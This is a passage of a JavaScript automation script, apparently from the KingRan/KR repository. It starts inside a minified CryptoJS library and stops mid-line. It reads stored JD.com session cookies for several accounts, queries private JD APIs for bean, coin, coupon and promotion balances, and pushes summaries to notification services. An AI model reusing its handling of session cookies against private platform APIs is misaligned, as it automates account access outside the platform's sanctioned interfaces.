& (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let NowHour = new Date().getHours(); +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let llShowMonth = false; +let Today = new Date(); +let strAllNotify=""; +let strSubNotify=""; +let llPetError=false; +let strGuoqi=""; +let RemainMessage = '\n'; +RemainMessage += "⭕活动攻略:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【京东金融】京东金融app->我的->养猪猪,完成是白条支付券,支付方式选白条支付时立减.\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; + +let TempBaipiao = ""; +let llgeterror=false; + +let doExJxBeans ="false"; +let time = new Date().getHours(); +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + /* if(process.env.BEANCHANGE_ExJxBeans=="true"){ + if (time >= 17){ + console.log(`检测到设定了临期京豆转换喜豆...`); + doExJxBeans = process.env.BEANCHANGE_ExJxBeans; + } else{ + console.log(`检测到设定了临期京豆转换喜豆,但时间未到17点后,暂不执行转换...`); + } + } */ +} +if(WP_APP_TOKEN_ONE) + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); +else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); + +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +//取消月结查询 +//if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + //EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +//} + +if ($.isNode() && process.env.BEANCHANGE_SUBNOTIFY) { + strSubNotify=process.env.BEANCHANGE_SUBNOTIFY; + strSubNotify+="\n"; + console.log(`检测到预览置顶内容,将在一对一推送的预览显示...\n`); +} + +if ($.isNode() && process.env.BEANCHANGE_ALLNOTIFY) { + strAllNotify=process.env.BEANCHANGE_ALLNOTIFY; + console.log(`检测到设定了公告,将在推送信息中置顶显示...`); + strAllNotify = `【✨✨✨✨公告✨✨✨✨】\n`+strAllNotify; + console.log(strAllNotify+"\n"); + strAllNotify +=`\n🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏` +} + + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + + +let decExBean=0; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//查询开关 +let strDisableList = ""; +let DisableIndex=-1; +if ($.isNode()) { + strDisableList = process.env.BEANCHANGE_DISABLELIST ? process.env.BEANCHANGE_DISABLELIST.split('&') : []; +} + +//喜豆查询 +let EnableJxBeans=true; +DisableIndex=strDisableList.findIndex((item) => item === "喜豆查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭喜豆查询"); + EnableJxBeans=false +} + +//汪汪乐园 +let EnableJoyPark=false; +/* DisableIndex = strDisableList.findIndex((item) => item === "汪汪乐园"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪乐园查询"); + EnableJoyPark=false +} */ + +//京东赚赚 +let EnableJdZZ=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东赚赚"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东赚赚查询"); + EnableJdZZ=false; +} + +//京东秒杀 +let EnableJdMs=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东秒杀"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东秒杀查询"); + EnableJdMs=false; +} + +//东东农场 +let EnableJdFruit=true; +DisableIndex = strDisableList.findIndex((item) => item === "东东农场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东农场查询"); + EnableJdFruit=false; +} + +//极速金币 +let EnableJdSpeed=true; +DisableIndex = strDisableList.findIndex((item) => item === "极速金币"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭极速金币查询"); + EnableJdSpeed=false; +} + +//京喜牧场 +let EnableJxMC=true; +DisableIndex= strDisableList.findIndex((item) => item === "京喜牧场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜牧场查询"); + EnableJxMC=false; +} +//京喜工厂 +let EnableJxGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京喜工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜工厂查询"); + EnableJxGC=false; +} + +// 京东工厂 +let EnableJDGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京东工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东工厂查询"); + EnableJDGC=false; +} +//领现金 +let EnableCash=true; +DisableIndex=strDisableList.findIndex((item) => item === "领现金"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭领现金查询"); + EnableCash=false; +} + +//金融养猪 +let EnablePigPet=false; +DisableIndex=strDisableList.findIndex((item) => item === "金融养猪"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭金融养猪查询"); + EnablePigPet=false; +} +//东东萌宠 +let EnableJDPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "东东萌宠"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东萌宠查询"); + EnableJDPet=false +} + +//7天过期京豆 +let EnableOverBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "过期京豆"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭过期京豆查询"); + EnableOverBean=false +} + +//查优惠券 +let EnableChaQuan=true; +DisableIndex=strDisableList.findIndex((item) => item === "查优惠券"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭优惠券查询"); + EnableChaQuan=false +} + +DisableIndex=strDisableList.findIndex((item) => item === "活动攻略"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭活动攻略显示"); + RemainMessage=""; +} + +//汪汪赛跑 +let EnableJoyRun=true; +DisableIndex=strDisableList.findIndex((item) => item === "汪汪赛跑"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪赛跑查询"); + EnableJoyRun=false +} + +let EnableCheckEcard=true; +DisableIndex=strDisableList.findIndex((item) => item === "E卡查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭E卡查询"); + EnableCheckEcard=false +} + +//京豆收益查询 +let EnableCheckBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "京豆收益"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京豆收益查询"); + EnableCheckBean=false +} + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + $.JingXiang = ""; + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + $.beanChangeXi=0; + $.inJxBean=0; + $.OutJxBean=0; + $.todayinJxBean=0; + $.todayOutJxBean=0; + $.xibeanCount = 0; + $.PigPet = ''; + $.YunFeiTitle=""; + $.YunFeiQuan = 0; + $.YunFeiQuanEndTime = ""; + $.YunFeiTitle2=""; + $.YunFeiQuan2 = 0; + $.YunFeiQuanEndTime2 = ""; + $.JoyRunningAmount = ""; + $.ECardinfo = ""; + TempBaipiao = ""; + strGuoqi=""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await Promise.all([ + TotalBean(), + TotalBean2()]) + + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await Promise.all([ + getJoyBaseInfo(), //汪汪乐园 + getJdZZ(), //京东赚赚 + getMs(), //京东秒杀 + getjdfruitinfo(), //东东农场 + cash(), //极速金币 + jdJxMCinfo(), //京喜牧场 + bean(), //京豆查询 + getJxFactory(), //京喜工厂 + getDdFactoryInfo(), // 京东工厂 + jdCash(), //领现金 + GetJxBeaninfo(), //喜豆查询 + GetPigPetInfo(), //金融养猪 + GetJoyRuninginfo(), //汪汪赛跑 + CheckEcard() //E卡查询 + ]) + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + var TempMessage=allMessageGp2; + if(strAllNotify) + allMessageGp2=strAllNotify+`\n`+allMessageGp2; + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + var TempMessage=allMessageGp3; + if(strAllNotify) + allMessageGp3=strAllNotify+`\n`+allMessageGp3; + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + var TempMessage=allMessageGp4; + if(strAllNotify) + allMessageGp4=strAllNotify+`\n`+allMessageGp4; + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By https://github.com/KingRan/KR',TempMessage) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + var strsummary=""; + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + $.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1) + ReturnMessage += `${$.levelName}Plus`; + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + if (EnableCheckBean) { + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + strsummary += `【今日京豆】收${$.todayIncomeBean}豆`; + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + strsummary += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + strsummary += `\n`; + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + } + + + if ($.beanCount){ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary+= `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } else { + if($.levelName || $.JingXiang) + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + else{ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } + } + + if (EnableJxBeans) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + } + + + if ($.JDEggcnt) { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + if ($.JDtotalcash) { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if ($.JdzzNum) { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + if($.ECardinfo) + ReturnMessage += `【礼卡余额】${$.ECardinfo}\n`; + + if ($.joylevel || $.jdCash || $.JoyRunningAmount) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + } + if ($.jdCash) { + if ($.joylevel) { + ReturnMessage += ","; + } + ReturnMessage += `领现金:${$.jdCash}元`; + } + if ($.JoyRunningAmount) { + if ($.joylevel || $.jdCash) { + ReturnMessage += ","; + } + ReturnMessage += `汪汪赛跑:${$.JoyRunningAmount}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 